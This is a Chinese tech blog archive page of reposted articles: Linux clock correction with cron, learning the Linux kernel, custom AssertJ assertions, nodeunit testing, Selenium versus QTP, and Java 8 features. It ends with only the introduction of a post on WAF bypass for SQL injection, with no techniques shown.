qileilove

blog已经转移至github,大家请访问 http://qaseven.github.io/

Linux时间处理总结

1.前言。
  如题。linux时间处理将集中放在本篇。
  2.总结。
  (1)linux的ntpdate,tcp,udp,http等校正都有可能被拒绝,或者由于各种版本配置的复杂性,导致都不能同步时间,但有些虚拟机或者物理机linux确实时钟走慢了,如何校正?写定时shell将时间差定时补回来是个通用可行的方案。这有三个步骤,写个shell脚本
  本例子实现了每20分钟将时差增加3分钟。
  如:步骤一编写修改时间的步骤test.sh代码如下:
echo $(date +"%H:%M" ) > /root/home/timeSyn/test.txt
time1=$(date -d '3 minutes' +"%H:%M" )
echo $time1 > /root/home/timeSyn/test1.txt
date -s "$time1"
exit
  然后,步骤二,再执行 crontab -e,把这个shell加入定时任务,编辑内容为:
*/20 * * * *  /root/test/test.sh
  最后,步骤三执行如下代码,将定时任务重启
/sbin/service crond restart
ok!

posted @ 2014-07-07 20:43 顺其自然EVO 阅读(171) | 评论 (0)编辑 收藏

成为Linux内核高手的4个方法

(之前我在CUSEC网站发表了关于内核并不可怕的一篇文章,本文是后续。)
  我曾经问别人如何开始内核编程的学习,他们基本上都说:①如果你不需要了解内核是如何为你工作的,你为何要尝试呢?②你应该订阅Linux内核邮件列表,然后努力去理解。③如果你不去编写针对Linux内核的代码,你就是在浪费时间。
  这些对我一点儿帮助都没有。所以我在这里列举了一些可行的方法,他们是有关操作系统和Linux内核是怎样在你的项目里工作的,而且还很有趣。虽然我知道得并不多,但至少比我做这些之前了解了更多。
  对于下面这几个途径,你只需要了解一些C语言和汇编语言(至少要会复制粘贴)。我会写一些小的C程序,还会用汇编来上课,虽然这些我都忘得差不多了。
  方法一:编写你自己的操作系统
  这看起来是一个相当可怕的方法。但事实上并不是!我是从rustboot这个项目开始的,重要的是它已经可以工作了。然后我会做一些简单的事情,比如让屏幕由红色变为蓝色,打印字符到屏幕,持续获取键盘中断来工作。
  MikeOS是我另一个有趣的开始。请记住,你的操作系统没有必要做得很大很专业——如果你能够让它把屏幕颜色由红色变为紫色或者让它打印一首视,你就算成功了。
  你一定会想使用一个仿真器去运行你的操作系统,比如qemu。OSDev wiki同样是一个很有用的网站——上面有很多你会碰到的常见的问题。
  方法二:编写写一些内核模块!
  如果你已经准备运行Linux了,那么再写一些内核模块就会是相当相当容易的,即使他们什么都不会做。
  这里有一个能够打印“Hello, hacker school!”到内核日志的模块源代码。它只有18行代码。基本上你只需要编写一个init进程和一个cleanup函数就可以了。我并不知道__init和_exit这两个宏命令做了些什么,但是我会使用他们!
  编写一个有一定功能的内核模块是比较难的。我做这个的时候,都是先决定要完成的功能(比如打印一个信息给每一个经过内核的数据包),然后回去阅读一些Kernel Newbies上的东西,再大量地使用谷歌来搜索,再复制和粘贴大量的代码来搞明白究竟该怎样去编写它。这里有几个内核模块的例子,我把他们放在了kernel-module-fun项目里。
  方法三:参加一次Linux内核实习!
  Linux内核团队参与了GNOME女性拓展实习项目。它是惊人、奇妙并且令人非常愉快的一个活动。这意味着,如果你是一个女人并且愿意花费三个月时间在内核开发上,你就能参与内核的开发,并且不需要任何的经验,还能得到一些报酬(5000美元)。在Kernel Newbies上有关于它的介绍。
  如果你对此感兴趣,那会是非常值得去申请的——你能够为内核做一个格式化的补丁,这非常有趣。Sarah Sharp是一个Linux内核开发人员,她在协调这个活动而且她本人也是非常热心的。你可以阅读她的这篇博客文章,讲述了在第一轮里137个补丁是怎样被允许加入到内核中去的。这些补丁也将会是你提供的!查看申请说明!
  如果你不是一个女生,那么可以选择Google Summer of Code这个相似的活动。(编注:这句话可能会引起女程序员的反感)
  方法四:阅读内核源码
  这听起来像是最糟糕的建议——“想要去了解内核是如何工作的就去看源代码,太蠢了”
  但事实上这个方法是非常有趣。你并不需要了解一切东西。当遇到无法理解的东西时,我就会感到无能为力,但是我告诉人们的时候,每个人都会说:“嗯,这就是传说中的Linux内核,你不能理解很正常!”
  我的朋友Dave最近给了我一个网站LXR,在里面你可以阅读到内核的资源,而且还提供了大量有用的引用链接。比如,如果你想要了解chmod这个命令的系统调用,你可以在the chmod_common definition页面看到有关于它在Linux内核里的定义!
  这里是部分chmod_common的部分代码,其中有一些我写的注释:
static int chmod_common(struct path *path, umode_t mode)
{
struct inode *inode = path->dentry->d_inode;
struct iattr newattrs;
int error;
// 不知道这是在干什么
error = mnt_want_write(path->mnt);
if (error)
return error;
// 互斥锁!避免出现冲突现象!=D
mutex_lock(&inode->i_mutex);
// 我猜这是在检查是否能使用chmod
error = security_path_chmod(path, mode);
if (error)
goto out_unlock;
// 我猜这是在改变mode的值
newattrs.ia_mode = (mode & S_IALLUGO) | (inode->i_mode & ~IALLUGO);
newattrs.ia_valid = ATTR_MODE | ATTR_CTIME;
error = notify_change(path->dentry, &newattrs);
out_unlock:
mutex_unlock(&inode->i_mutex); // 完成时就解除互斥锁
mnt_drop_write(path->mnt); // ???
return error;
}
 我觉得这个过程是很有趣的,而且也帮助了我阐明了内核的意义。我发现我所阅读的代码大多都是生涩难懂的,但是也有一些(比如chmod的代码)是可以理解的。
  总结几个链接:
  Jessica McKellar在Ksplice blog上的博客文章
  《Linux Device Drivers》是这样描述它自己的,我发现还是有点用。
  “这本书会教你怎样编写你自己的驱动和怎样入侵与内核相关的地方”
  如果你在写一个操作系统,OSDev wiki是一个不错的网站
  Kernel Newbies有一些给内核开发新手的资源,虽然在它的聊天室里我有一些不爽的经历。
  Sarah Sharp是一个内核开发人员,负责Linux内核的对外服务,是非常好的一个女人。

posted @ 2014-07-07 20:42 顺其自然EVO 阅读(161) | 评论 (0)编辑 收藏

如何实现Java测试的自定义断言

 对于测试来说,编写断言似乎很简单:我们只需要对结果和预期进行比较,通常使用断言方法进行判断,例如测试框架提供的assertTrue()或者assertEquals()方法。然而,对于更复杂的测试场景,使用这些基础的断言验证结果可能会显得相当笨拙。
  使用这些基础断言的主要问题是,底层细节掩盖了测试本身,这是我们不希望看到的。在我看来,应该争取让这些测试使用业务语言来说话。
  在本篇文章中,我将展示如何使用“匹配器类库”(matcher library);来实现自定义断言,从而提高测试代码的可读性和可维护性。
  为了方便演示,我们假设有这样一个任务:让我们想象一下,我们需要为应用系统的报表模块开发一个类,输入两个日期(开始日期和结束日期),这个类将给出这两个日期之间所有的每小时间隔。然后使用这些间隔从数据库查询所需数据,并以直观的图表方式展现给最终用户。
  标准方法
  我们先采用“标准”的方法来编写断言。我们以JUnit为例,当然你也可以使用TestNG。我们将使用像assertTrue()、assertNotNull()或assertSame()这样的断言方法。
  下面展示了HourRangeTest类的其中一个测试方法。它非常简单。首先调用getRanges()方法,得到两个日期之间所有的每小时范围。然后验证返回的范围是否正确。
private final static SimpleDateFormat SDF
= new SimpleDateFormat("yyyy-MM-dd HH:mm");
@Test
public void shouldReturnHourlyRanges() throws ParseException {
// given
Date dateFrom = SDF.parse("2012-07-23 12:00");
Date dateTo = SDF.parse("2012-07-23 15:00");
// when
final List<range> ranges = HourlyRange.getRanges(dateFrom, dateTo);
// then
assertEquals(3, ranges.size());
assertEquals(SDF.parse("2012-07-23 12:00").getTime(), ranges.get(0).getStart());
assertEquals(SDF.parse("2012-07-23 13:00").getTime(), ranges.get(0).getEnd());
assertEquals(SDF.parse("2012-07-23 13:00").getTime(), ranges.get(1).getStart());
assertEquals(SDF.parse("2012-07-23 14:00").getTime(), ranges.get(1).getEnd());
assertEquals(SDF.parse("2012-07-23 14:00").getTime(), ranges.get(2).getStart());
assertEquals(SDF.parse("2012-07-23 15:00").getTime(), ranges.get(2).getEnd());
}
  毫无疑问这是个有效的测试。然而,它有个严重的缺点。在//then后面有大量的重复代码。显然,它们是复制和粘贴的代码,经验告诉我,它们将不可避免地会产生错误。此外,如果我们写更多类似的测试(我们肯定还要写更多的测试来验证HourlyRange类),同样的断言声明将在每一个测试中不断地重复。
  过多的断言和每个断言的复杂性减弱了当前测试的可读性。大量的底层噪音使我们无法快速准确地了解这些测试的核心场景。我们都知道,阅读代码的次数远大于编写的次数(我认为这同样适用于测试代码),所以我们理所当然地要想办法提高其可读性。
  在我们重写这些测试之前,我还想重点说一下它的另一个缺点,这与错误信息有关。例如,如果getRanges()方法返回的其中一个Range与预期不同,我们将得到类似这样的信息:
  org.junit.ComparisonFailure:
  Expected :1343044800000
  Actual :1343041200000
  这些信息太不清晰,理应得到改善。


 私有方法
  那么,我们究竟能做些什么呢?好吧,最显而易见的办法是将断言抽成一个私有方法:
private void assertThatRangeExists(List<Range> ranges, int rangeNb,
String start, String stop) throws ParseException {
assertEquals(ranges.get(rangeNb).getStart(), SDF.parse(start).getTime());
assertEquals(ranges.get(rangeNb).getEnd(), SDF.parse(stop).getTime());
}
@Test
public void shouldReturnHourlyRanges() throws ParseException {
// given
Date dateFrom = SDF.parse("2012-07-23 12:00");
Date dateTo = SDF.parse("2012-07-23 15:00");
// when
final List<Range> ranges = HourlyRange.getRanges(dateFrom, dateTo);
// then
assertEquals(ranges.size(), 3);
assertThatRangeExists(ranges, 0, "2012-07-23 12:00", "2012-07-23 13:00");
assertThatRangeExists(ranges, 1, "2012-07-23 13:00", "2012-07-23 14:00");
assertThatRangeExists(ranges, 2, "2012-07-23 14:00", "2012-07-23 15:00");
}
  这样是不是好些?我会说是的。减少了重复代码的数量,提高了可读性,这当然是件好事。
  这种方法的另一个优势是,我们现在可以更容易地改善验证失败时的错误信息。因为断言代码被抽到了一个方法中,所以我们可以改善断言,很容易地提供更可读的错误信息。
  为了更好地复用这些断言方法,可以将它们放到测试类的基类中。
  不过,我觉得我们也许能做得更好:使用私有方法也有缺点,随着测试代码的增长,很多测试方法都将使用这些私有方法,其缺点将更加明显:
  断言方法的命名很难清晰反映其校验的内容。
  随着需求的增长,这些方法将会趋向于接收更多的参数,以满足更复杂检查的要求。(assertThatRangeExists()现在有4个参数,已经太多了!)
  有时候,为了在多个测试中复用这些代码,会在这些方法中引入一些复杂逻辑(通常以布尔标志的形式校验它们,或在某些特殊的情况下,忽略它们)。
  从长远来看,所有使用私有断言方法编写的测试,意味着在可读性和可维护性方面将会遇到一些问题。我们来看一下另外一种没有这些缺点的解决方案。
  匹配器类库
  在我们继续之前,我们先来了解一些新工具。正如之前提到的,JUnit或者TestNG提供的断言缺少足够的灵活性。在Java世界,至少有两个开源类库能够满足我们的需求:AssertJ(FEST Fluent Assertions项目的一个分支)和 Hamcrest。我倾向于第一个,但这只是个人喜好。这两个看起来都非常强大,都能让你取得相似的效果。我更倾向于AssertJ的主要原因是它基于Fluent接口,而IDE能够完美支持该接口。
  集成AssertJ和JUnit或者TestNG非常简单。你只要增加所需的import,停止使用测试框架提供的默认断言方法,改用AssertJ提供的方法就可以了。
  AssertJ提供了一些现成的非常有用的断言。它们都使用相同的“模式”:先调用assertThat()方法,这是Assertions类的一个静态方法。该方法接收被测试对象作为参数,为更多的验证做好准备。之后是真正的断言方法,每一个都用于校验被测对象的各种属性。我们来看一些例子:
  assertThat(myDouble).isLessThanOrEqualTo(2.0d);
  assertThat(myListOfStrings).contains("a");
  assertThat("some text")
  .isNotEmpty()
  .startsWith("some")
  .hasLength(9);
  从这能看出,AssertJ提供了比JUnit和TestNG丰富得多的断言集合。就像最后一个assertThat("some text")例子显示的,你甚至可以将它们串在一起。还有一个非常方便的事情是,你的IDE能够根据被测对象的类型,自动为你提示可用的方法。举例来说,对于一个double值,当你输入“assertThat(myDouble).”,然后按下CTRL + SPACE(或者其它IDE提供的快捷键),IDE将为你显示可用的方法列表,例如isEqualTo(expectedDouble)、isNegative()或isGreaterThan(otherDouble),所有这些都可用于double值的校验。这的确是一个很酷的功能。
自定义断言
  拥有AssertJ或者Hamcrest提供的更强大的断言集合的确很好,但对于HourRange类来说,这并不是我们真正想要的。匹配器类库的另一个功能是允许你编写自己的断言。这些自定义断言的行为将与AssertJ的默认断言一样,也就是说,你能够把它们串在一起。这正是我们接下来要做的。
  接下来我们将看到一个自定义断言的示例实现,但现在让我们先看看最终效果。这次我们将使用(我们自己的)RangeAssert类的assertThat()方法。
@Test
public void shouldReturnHourlyRanges() throws ParseException {
// given
Date dateFrom = SDF.parse("2012-07-23 12:00");
Date dateTo = SDF.parse("2012-07-23 15:00");
// when
List<Range> ranges = HourlyRange.getRanges(dateFrom, dateTo);
// then
RangeAssert.assertThat(ranges)
.hasSize(3)
.isSortedAscending()
.hasRange("2012-07-23 12:00", "2012-07-23 13:00")
.hasRange("2012-07-23 13:00", "2012-07-23 14:00")
.hasRange("2012-07-23 14:00", "2012-07-23 15:00");
}
  即便是上面这么小的一个例子,我们也能看出自定义断言的一些优势。首先要注意的是//then后面的代码确实变少了,可读性也更好了。
  将自定义断言应用于更大的代码库时,将显现出其它优势。当我们继续使用自定义断言时,我们将注意到:
  可以很容易地复用它们。我们不强迫使用所有断言,但对特定测试用例,我们可以只选择那些重要的断言。
  特定领域语言属于我们,也就是说,对于特定测试场景,我们可以根据自己的喜好改变它(例如,传入Date对象,而不是字符串)。更重要的是这样的改变不会影响到其它测试。
  高可读性。毫无疑问,因为断言包括了很多小断言方法,每一个都只关注校验的很小的某个方面,因此可以为校验方法取一个恰当的名字。
  与私有断言方法相比,自定义断言的唯一不足是工作量要大一些。我们来看一下自定义断言的代码,它是否真的是一个很难的任务。
  要创建自定义断言,我们需要继承AssertJ的AbstractAssert类或者其子类。如下所示,我们的RangeAssert继承自AssertJ的ListAssert类。这很正常,因为我们的自定义断言将校验一个Range列表(List<Range>)。
  每一个使用AssertJ的自定义断言都会包含创建断言对象、注入被测对象的代码,然后可以使用更多的方法对其进行操作。如下面的代码所示,构造方法和静态assertThat()方法的参数都是List<Range>。
  public class RangeAssert extends ListAssert<Range> {
  protected RangeAssert(List<Range> ranges) {
  super(ranges);
  }
  public static RangeAssert assertThat(List<Range> ranges) {
  return new RangeAssert(ranges);
  }
  现在我们看看RangeAssert类的其余内容。hasRange()和isSortedAscending()方法(显示在下一个代码列表中)是自定义断言方法的典型例子。它们具有以下共同点:
  它们都先调用isNotNull()方法,检查被测对象是否为null。确保这个校验不会失败并抛出NullPointerException异常消息。(这一步不是必须的,但建议有这一步)
  它们都返回“this”(也就是自定义断言类的对象,对应例子中RangeAssert类的对象)。这使得所有方法可以串在一起。
  它们都使用AssertJ Assertions类(属于AssertJ框架)提供的断言方法执行校验。
  它们都使用“真实”的对象(由父类ListAssert提供),确保Range列表(List<Range>)被校验。
private final static SimpleDateFormat SDF
= new SimpleDateFormat("yyyy-MM-dd HH:mm");
public RangeAssert isSortedAscending() {
isNotNull();
long start = 0;
for (int i = 0; i < actual.size(); i++) {
Assertions.assertThat(start)
.isLessThan(actual.get(i).getStart());
start = actual.get(i).getStart();
}
return this;
}
public RangeAssert hasRange(String from, String to) throws ParseException {
isNotNull();
Long dateFrom = SDF.parse(from).getTime();
Long dateTo = SDF.parse(to).getTime();
boolean found = false;
for (Range range : actual) {
if (range.getStart() == dateFrom && range.getEnd() == dateTo) {
found = true;
}
}
Assertions
.assertThat(found)
.isTrue();
return this;
}
}
  那么错误信息呢?AssertJ让我们可以很容易地添加错误信息。对于简单的场景,例如值的比较,通常使用as()方法就足够了,示例如下:
  Assertions
  .assertThat(actual.size())
  .as("number of ranges")
  .isEqualTo(expectedSize);
  正如你所见到的,as()只是AssertJ框架提供的另一个方法。当测试失败时,它打印下面的信息,我们立即就能知道哪儿错了:
  org.junit.ComparisonFailure: [number of ranges]
  Expected :4
  Actual :3
  有时候只知道被测对象的名字是不够的,我们需要更多信息以了解到底发生了什么。以hasRange()方法为例,当测试失败时,如果能够打印所有range就更好了。我们可以通过overridingErrorMessage()方法来实现这种效果:
  public RangeAssert hasRange(String from, String to) throws ParseException {
  ...
  String errMsg = String.format("ranges\n%s\ndo not contain %s-%s",
  actual ,from, to);
  ...
  Assertions.assertThat(found)
  .overridingErrorMessage(errMsg)
  .isTrue();
  ...
  }
  现在,当测试失败时,我们能够得到非常详细的信息。它的内容取决于Range类的toString()方法。例如,它看起来可能是这样的:
  HourlyRange{Mon Jul 23 12:00:00 CEST 2012 to Mon Jul 23 13:00:00 CEST 2012},
  HourlyRange{Mon Jul 23 13:00:00 CEST 2012 to Mon Jul 23 14:00:00 CEST 2012},
  HourlyRange{Mon Jul 23 14:00:00 CEST 2012 to Mon Jul 23 15:00:00 CEST 2012}]
  do not contain 2012-07-23 16:00-2012-07-23 14:00
  总结
  在本文中,我们讨论了很多编写断言的方法。我们从“传统”的方式开始,也就是基于测试框架提供的断言方法。对于很多场景,这已经非常好了。但是正如我们所看到的,它在表达测试意图时,有时候缺少了一些灵活性。之后,我们通过引入私有断言方法,取得了一点改善,但仍然不是理想的解决方案。最后,我们尝试使用AssertJ编写自定义断言,我们的测试代码取得了非常好的可读性和可维护性。
  如果要我提供一些关于断言的建议,我将会建议以下内容:如果你停止使用测试框架(例如JUnit或TestNG)提供的断言,改为使用匹配器类库(例如AssertJ或者Hamcrest),你的测试代码将得到极大的改善。你将可以使用大量可读性很强的断言,减少测试代码中//then之后的复杂声明。
  尽管编写自定义断言的成本非常低,但也没有必要因为你会写就一定要使用它们。当你的测试代码的可读性并且/或者可维护性变差时使用它们。根据我的经验,我会鼓励你在以下场景中使用自定义断言:
  当你发现使用匹配器类库提供的断言无法清晰表达测试意图时;
  作为私有断言方法的替代方案。
  我的经验告诉我,单元测试几乎不需要自定义断言。而在集成测试和端到端测试(功能测试)中,我敢说你肯定会发现它们是不可替代的。它们能让你的测试用领域语言说话(而不是实现语言),它们还封装了技术细节,使测试更易于更新。
  关于作者
  Tomek Kaczanowski是CodeWise公司(克拉科夫,波兰)的一名Java开发人员。他专注于代码质量、测试和自动化。他是TDD的狂热者、开源的倡导者和敏捷的崇拜者。具有强烈的分享知识倾向。书的作者、博客和会议发言人。Twitter: @tkaczanowski


posted @ 2014-07-03 18:39 顺其自然EVO 阅读(506) | 评论 (0)编辑 收藏

Node.js的UnitTest单元测试

  在专业化的软件开发过程中,无论什么平台语言,现在都需要UnitTest单元测试. Node.js有built-in的Assert。 今天让我们来看一下Node.js的单元测试。在这儿我们使用nodeunit,
  
  通过NPM安装:
  npm install nodeunit -g
  支持命令行,浏览器运行. 各种断言。 在node.js下模块化对于方法导出exports, 如果是对象导出module.exports,模块儿是单元测试的基础,看下面的node.js代码:
var fs = require('fs'),
global=require('./global.js');
var utils = {
startWith: function(s1, s) {
if (s == null || s == "" || this.length == 0 || s.length > this.length)
return false;
if (s1.substr(0, s.length) == s)
return true;
else
return false;
return true;
},
/* Generate GUID */
getGuid: function() {
var guid = "";
for (var i = 1; i <= 32; i++) {
var n = Math.floor(Math.random() * 16.0).toString(16);
guid += n;
}
return guid;
},
/* add log information */
writeLog: function(log) {
if(!log) return;
var text = fs.readFileSync(global.logFile, "utf-8"),
_newLog = text ? (text + "\r\n" + log) : log;
fs.writeFile(global.logFile, _newLog, function(err){
if(err) throw err;
});
}
};
exports.utils=utils;

字体:        | 上一篇 下一篇 | 打印  | 我要投稿 

./global.js是一个本地全局变量文件,现在我们对以上代码使用NodeUnit做测试的node.js代码:
var utils=new require('./utils.js');
this.TestForUtils = {
'TestgetGuid': function (test) {
var guid=utils.utils.getGuid();
test.ok(!!guid, 'getGuid should not be null.');
test.done();
},
'TestWritelog': function (test) {
var flag=false;
utils.utils.writeLog("test message");
flag=true;
test.ok(flag,'writeLog');
test.done();
},
'TestStartWithWords': function (test) {
var name="ad_123";
test.ok(utils.utils.startWith(name, "ad_"),"startwith method should be ok");
test.done();
}
};
  test.ok也是通常我们说的断言。对于NodeUnit的单元测试程序,也可以使用node-inspector来调试

posted @ 2014-07-03 18:39 顺其自然EVO 阅读(277) | 评论 (0)编辑 收藏

自动化测试工具Selenium和QTP的比较

 一、用户仿真:Selenium在浏览器后台执行,它通过修改HTML的DOM(文档对象模型)来执行操作,实际上是通过javascript来控制的。执行时窗口可以最小化,可以在同一机器执行多个测试QTP完全模拟终端用户,独占屏幕,只能开启一个独占的实例。TestComplete和qtp类似。
  二、UI组件支持:selenium 支持主要的组件,但是某些事件、方法和对象属性支持不够,QTP提供了良好的支持,通过收费的插件,提供了对dotNet组件的支持。
  三、UI对象的管理和存储:QTP的内置了良好的支持。Selenium可以通过用户扩展UI-Element来管理,不过要在代码中写死,不像QTP一样可以自动录制添加。
  四、对话框支持:QTP支持各种IE对话框,Selenium只是部分支持,像获取对话框的标题之类的功能并没有支持。
  五、文件上传:Selenium由于JavaScript的限制不支持。QTP的提供了良好的支持。
  六、浏览器支持。QTP支持IE和Firefox。Selenium支持IE, Firefox, Safari和Opera等,两者都没有完全的跨浏览器支持,代码在不同浏览器上是需要修改的。
  七、对象识别参数,基于所见即所得识别: WYSWYG (what you see is what you get),Selenium不支持。QTP的提供了良好的支持。这个和第一点基本上是一回事。
  八、面向对象语言和扩展性支持(和外部工具和库的集成):QTP不支持。Selenium的提供了良好的支持。Selenium支持python,java,c#。
  九、与测试管理啊工具集成:QTP和可以 HP Quality Center and TestDirector集成。Selenium暂不支持WEB。
  十、支持的应用类型:QTP支持(DotNet,VB, Powerbuilder, TCL/TK)等,Selenium支持WEB。
  十一、支持的操作系统/平台:Selenium支持python,java,所以可以跨平台。QTP只支持Windows
  十二、脚本创建难易:QTP相当容易,Selenium要难一点,但是也还可以。
  十三、技术支持:QTP的要多好一点。
  十四、成本:QTP大概是淡季5000美金,Selenium免费。
  十五、测试开发环境:Selenium更丰富。
  十六、开发流程集成:QTP不支持,Selenium可以容易使用cruise工具等。
  十七、小结:以上Selenium 1.*和QTP的比较。Selenium正在飞速发展之中,集成了Webdriver的Selenium 2.0正式版本将在2011推出,届时将会解决上传文件等很多不足。Selenium估计在5年内会成为Web测试市场的霸主,QTP因其可用性和良好的支持,也会继续存在。
版权声明:本文出自 abgg 的51Testing软件测试博客:http://www.51testing.com/?146979
原创作品,转载时请务必以超链接形式标明文章原始出处、作者信息和本声明,否则将追究法律责任。

posted @ 2014-07-03 18:37 顺其自然EVO 阅读(1525) | 评论 (0)编辑 收藏

Java 8无人谈及的八大功能

 时间戳锁
  一直以来,多线程代码是服务器开发人员的毒药(问问Oracle的Java语言架构师和并行开发大师BrianGoetz)。Java的核心库不断加入各种复杂的用法来减少访问共享资源时的线程等待时间。其中之一就是经典的读写锁(ReadWriteLock),它让你把代码分成两部分:需要互斥的写操作和不需要互斥的读操作。
  表面上看起来很不错。问题是读写锁有可能是极慢的(最多10倍),这已经和它的初衷相悖了。Java8引入了一种新的读写锁——叫做时间戳锁。好消息是这个家伙真的非常快。坏消息是它使用起来更复杂,有更多的状态需要处理。并且它是不可重入的,这意味着一个线程有可能跟自己死锁。
  时间戳锁有一种“乐观”模式,在这种模式下每次加锁操作都会返回一个时间戳作为某种权限凭证;每次解锁操作都需要提供它对应的时间戳。如果一个线程在请求一个写操作锁的时候,这个锁碰巧已经被一个读操作持有,那么这个读操作的解锁将会失效(因为时间戳已经失效)。这个时候应用程序需要从头再来,也许要使用悲观模式的锁(时间戳锁也有实现)。你需要自己搞定这一切,并且一个时间戳只能解锁它对应的锁——这一点必须非常小心。
  下面我们来看一下这种锁的实例——
longstamp=lock.tryOptimisticRead();//非阻塞路径——超级快
work();//我们希望不要有写操作在这时发生
if(lock.validate(stamp)){
//成功!没有写操作干扰
}
else{
//肯定同时有另外一个线程获得了写操作锁,改变了时间戳
//懒汉说——我们切换到开销更大的锁吧
stamp=lock.readLock();//这是传统的读操作锁,会阻塞
try{
//现在不可能有写操作发生了
work();
}
finally{
lock.unlock(stamp);//使用对应的时间戳解锁
}
}
  并发加法器
  Java8另一个出色的功能是并发“加法器”,它对大规模运行的代码尤其有意义。一种最基本的并发模式就是对一个计数器的读写。就其本身而言,现今处理这个问题有很多方法,但是没有一种能比Java8提供的方法高效或优雅。
  到目前为止,这个问题是用原子类(Atomics)来解决的,它直接利用了CPU的“比较并交换”指令(CAS)来测试并设置计数器的值。问题在于当一条CAS指令因为竞争而失败的时候,AtomicInteger类会死等,在无限循环中不断尝试CAS指令,直到成功为止。在发生竞争概率很高的环境中,这种实现被证明是非常慢的。
  来看Java8的LongAdder。这一系列类为大量并行读写数值的代码提供了方便的解决办法。使用超级简单。只要初始化一个LongAdder对象并使用它的add()和intValue()方法来累加和采样计数器。
  这和旧的Atomic类的区别在于,当CAS指令因为竞争而失败时,Adder不会一直占着CPU,而是为当前线程分配一个内部cell对象来存储计数器的增量。然后这个值和其他待处理的cell对象一起被加到intValue()的结果上。这减少了反复使用CAS指令或阻塞其他线程的可能性。
  如果你问你自己,什么时候应该用并发加法器而不是原子类来管理计数器?简单的答案就是——一直这么做。
  并行排序
  正像并发加法器能加速计数一样,Java8还实现了一种简洁的方法来加速排序。这个秘诀很简单。你不再这么做:
  Array.sort(myArray);
  而是这么做:
  Arrays.parallelSort(myArray);
  这会自动把目标数组分割成几个部分,这些部分会被放到独立的CPU核上去运行,再把结果合并起来。这里唯一需要注意的是,在一个大量使用多线程的环境中,比如一个繁忙的Web容器,这种方法的好处就会减弱(降低90%以上),因为越来越多的CPU上下文切换增加了开销。

 切换到新的日期接口
  Java8引入了全新的date-time接口。当前接口的大多数方法都已被标记为deprecated,你就知道是时候推出新接口了。新的日期接口为Java核心库带来了易用性和准确性,而以前只能用Jodatime才能达到这样的效果(译者注:Jodatime是一个第三方的日期库,比Java自带的库更友好更易于管理)。
  跟任何新接口一样,好消息是接口变得更优雅更强大。但不幸的是还有大量的代码在使用旧接口,这个短时间内不会有改变。
  为了衔接新旧接口,历史悠久的Date类新增了toInstant()方法,用于把Date转换成新的表示形式。当你既要享受新接口带来的好处,又要兼顾那些只接受旧的日期表示形式的接口时,这个方法会显得尤其高效。
  控制操作系统进程
  想在你的代码里启动一个操作系统进程,通过JNI调用就能完成——但这个东西总令人一知半解,你很有可能得到一个意想不到的结果,并且一路伴随着一些很糟糕的异常。
  即便如此,这是无法避免的事情。但进程还有一个讨厌的特性就是——它们搞不好就会变成僵尸进程。目前从Java中运行进程带来的问题是,进程一旦启动就很难去控制它。
  为了帮我们解决这个问题,Java8在Process类中引入了三个新的方法
  destroyForcibly——结束一个进程,成功率比以前高很多。
  isAlive——查询你启动的进程是否还活着。
  重载了waitFor(),你现在可以指定等待进程结束的时间了。进程成功退出后这个接口会返回,超时的话也会返回,因为你有可能要手动终止它。
  这里有两个关于如何使用这些新方法的好例子——
  如果进程没有在规定时间内退出,终止它并继续往前走。
if(process.wait(MY_TIMEOUT,TimeUnit.MILLISECONDS)){
//成功}
else{
process.destroyForcibly();
}
在你的代码结束前,确保所有的进程都已退出。僵尸进程会逐渐耗尽系统资源。
for(Processp:processes){
if(p.isAlive()){
p.destroyForcibly();
}
}
  精确的数字运算
  数字溢出会导致一些讨厌的bug,因为它本质上不会出错。在一些系统中,整型值不停地增长(比如计数器),溢出的问题就尤为严重。在这些案例里面,产品在演进阶段运行得很好,甚至商用后的很长时间内也没问题,但最终会出奇怪的故障,因为运算开始溢出,产生了完全无法预料的值。
  为了解决这个问题,Java8为Math类添加了几个新的“精确型”方法,以便保护重要的代码不受溢出的影响,它的做法是当运算超过它的精度范围的时候,抛出一个未检查的ArithmeticException异常。
  intsafeC=Math.multiplyExact(bigA,bigB);
  //如果结果超出+-2^31,就会抛出ArithmeticException异常
  唯一不好的地方就是你必须自己找出可能产生溢出的代码。无论如何,没有什么自动的解决方案。但我觉得有这些接口总比没有好。
  安全的随机数发生器
  在过去几年中Java一直因为安全漏洞而饱受诟病。无论是否合理,Java已经做了大量工作来加强虚拟机和框架层,使之免受攻击。如果随机数来源于随机性不高的种子,那么那些用随机数来产生密钥或者散列敏感信息的系统就更易受攻击。
  到目前为止,随机数发生算法由开发人员来决定。但问题是,如果你想要的算法依赖于特定的硬件、操作系统、虚拟机,那你就不一定能实现它。这种情况下,应用程序倾向于使用更弱的默认发生器,这就使他们暴露在更大的风险下了。
  Java8添加了一个新的方法叫SecureRandom.getInstanceStrong(),它的目标是让虚拟机为你选择一个安全的随机数发生器。如果你的代码无法完全掌控操作系统、硬件、虚拟机(如果你的程序部署到云或者PaaS上,这是很常见的),我建议你认真考虑一下使用这个接口。
  可选引用
  空指针就像“踢到脚趾”一样——从你学会走路开始就伴随着你,无论现在你有多聪明——你还是会犯这个错。为了帮助解决这个老问题,Java8引入了一个新模板叫Optional<T>。
  这个模板是从Scala和Hashkell借鉴来的,用于明确声明传给函数或函数返回的引用有可能是空的。有了它,过度依赖旧文档或者看过的代码经常变动的人,就不需要去猜测某个引用是否可能为空。
  Optional<User>tryFindUser(intuserID){
  或
  voidprocessUser(Useruser,Optional<Cart>shoppingCart){
  Optional模板有一套函数,使得采样它更方便,比如isPresent()用来检查这个值是不是非空,或者ifPresent()你可以传递一个Lambda函数过去,如果isPresent()返回true,这个Lambda函数就会被执行。不好的地方就跟Java8的新日期接口一样,等这种模式逐渐流行,渗透到我们使用的库中和日常设计中,需要时间和工作量。
  用新的Lambda语法打印Optional值:
  value.ifPresent(System.out::print);
  关于作者
  TalWeiss是Takipi的CEO。过去十五年中,Tal一直在设计大规模的实时的Java和C++应用。可是他仍然陶醉于分析有挑战性的bug,以及评估Java代码的性能。业余时间他喜欢爵士鼓。

posted @ 2014-07-03 18:36 顺其自然EVO 阅读(1180) | 评论 (0)编辑 收藏

绕过WAF继续SQL注入常用方法

 这篇文章之前的名字叫做:WAF bypass for SQL injection #理论篇,我于6月17日投稿了Freebuf。链接:点击这里 现博客恢复,特发此处。
  Web Hacker总是生存在与WAF的不断抗争之中的,厂商不断过滤,Hacker不断绕过。WAF bypass是一个永恒的话题,不少基友也总结了很多奇技怪招。那今天我在这里做个小小的扫盲吧。先来说说WAF bypass是啥。
